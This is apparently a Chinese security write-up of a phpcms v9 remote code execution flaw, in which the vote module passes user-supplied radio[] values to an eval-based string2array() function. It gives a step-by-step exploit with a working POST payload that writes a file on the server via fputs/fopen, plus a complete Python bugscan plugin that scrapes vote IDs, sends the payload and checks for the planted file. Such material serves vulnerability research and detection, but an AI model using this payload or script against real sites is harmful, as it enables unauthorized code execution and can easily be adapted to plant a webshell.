phpcms前台任意代码执行漏洞(php<5.3)

phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞
/phpsso_server/phpcms/libs/functions/global.func.php

/**
* 将字符串转换为数组
*
* @param    string    $data    字符串
* @return    array    返回数组格式，如果，data为空，则返回空数组
*/
function string2array($data) {
if($data == '''') return array();
eval("\$array = $data;");
return $array;
}
在文件/phpcms/modules/vote/index.php中，我们找到它的执行流程

/**
* 处理投票
*/
public function post(){
$subjectid = intval($_POST[''subjectid'']);
if(!$subjectid)    showmessage(L(''vote_novote''),''blank'');
//当前站点
$siteid = SITEID;
//判断是否已投过票,或者尚未到第二次投票期
$return = $this->check($subjectid);
switch ($return) {
case 0:
showmessage(L(''vote_voteyes''),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
break;
case -1:
showmessage(L(''vote_voteyes''),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
break;
}
if(!is_array($_POST[''radio''])) showmessage(L(''vote_nooption''),''blank'');
$time = SYS_TIME;
$data_arr = array();
foreach($_POST[''radio''] as $radio){  //接收POST传递的radio并转换为$radio数组
$data_arr[$radio]=''1'';
}
$new_data = array2string($data_arr);//转成字符串存入数据库中
//添加到数据库
$this->vote_data->insert(array(''userid''=>$this->userid,''username''=>$this->username,''subjectid''=>$subjectid,''time''=>$time,''ip''=>$this->ip,''data''=>$new_data));
//把字符串$new_data放到data里面
//查询投票奖励点数，并更新会员点数
$vote_arr = $this->vote->get_one(array(''subjectid''=>$subjectid));
pc_base::load_app_class(''receipts'',''pay'',0);
receipts::point($vote_arr[''credit''],$this->userid, $this->username, '''',''selfincome'',L(''vote_post_point''));
//更新投票人数
$this->vote->update(array(''votenumber''=>''+=1''),array(''subjectid''=>$subjectid));
showmessage(L(''vote_votesucceed''), "?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
}
/**
*
* 投票结果显示
*/
public function result(){
$siteid = SITEID;
$subjectid = abs(intval($_GET[''subjectid'']));
if(!$subjectid)    showmessage(L(''vote_novote''),''blank'');
//取出投票标题
$subject_arr = $this->vote->get_subject($subjectid);
if(!is_array($subject_arr)) showmessage(L(''vote_novote''),''blank'');
extract($subject_arr);
//获取投票选项
$options = $this->vote_option->get_options($subjectid);
//新建一数组用来存新组合数据
$total = 0;
$vote_data =array();
$vote_data[''total''] = 0 ;//所有投票选项总数
$vote_data[''votes''] = 0 ;//投票人数
//获取投票结果信息
$infos = $this->vote_data->select(array(''subjectid''=>$subjectid),''data'');
//循环每个会员的投票记录
foreach($infos as $subjectid_arr) {
extract($subjectid_arr);
$arr = string2array($data);//调用了string2array进入eval函数
foreach($arr as $key => $values){
$vote_data[$key]+=1;
}
$total += array_sum($arr);
$vote_data[''votes'']++ ;
}
$vote_data[''total''] = $total ;
//SEO设置
$SEO = seo(SITEID, '''', $subject, $description, $subject);
include template(''vote'',''vote_result'');
}
所以执行的过程就是
1.首先找到一个可以投票的id参数subjectid
2.发起投票,post数据

/index.php?m=vote&c=index&a=post&subjectid=xxx&siteid=1
subjectid=1&radio[]=);fputs(fopen(base64_decode(cmVhZG1lLnBocA),w),"vulnerable test");
3.然后我们再查看result，触发string2array函数

/index.php?m=vote&c=index&a=result&subjectid=xxx&siteid=1
4.再看看是否有readme.php文件存在。
附上一个用于bugscan检测脚本
Python

# !/usr/bin/dev python
# -*- coding:utf-8 -*-

import re
import urllib
import urllib2

def get_vote_links(args):
vul_url = args
vote_url = ''%sindex.php?m=vote'' % vul_url
code, head, res, _, _ = curl.curl(vote_url)
ids = []
for miter in re.finditer(r''<a href=.*?subjectid=(?P<id>\d+)'', res, re.DOTALL):
ids.append(miter.group(''id''))
if len(ids) == 0:
return None

return list(set(ids))

def assign(service, args):
if service == ''phpcms'':
return True, args
pass

def audit(args):
vul_url = args
ids = get_vote_links(args)
if ids:
for i in ids:
exploit_url = ''%sindex.php?m=vote&c=index&a=post&subjectid=%s&siteid=1'' % (vul_url, i)
payload = {''subjectid'': 1,
''radio[]'': '');fputs(fopen(base64_decode(YnVnc2Nhbi5waHA=),w),"vulnerable test");''}
post_data = urllib.urlencode(payload)
curl.curl(''-d "%s" %s'' % (post_data, exploit_url))
verify_url = ''%sindex.php?m=vote&c=index&a=result&subjectid=%s&siteid=1'' % (vul_url, i)
curl.curl(verify_url)
shell_url = ''%sbugscan.php'' % vul_url
code, head, res, _, _ = curl.curl(shell_url)
if code == 200 and ''vulnerable test'' in res:
security_hole(vul_url)
pass

if __name__ == "__main__":
from dummy import *
audit(assign(''phpcms'', ''http://www.example.com/'')[1])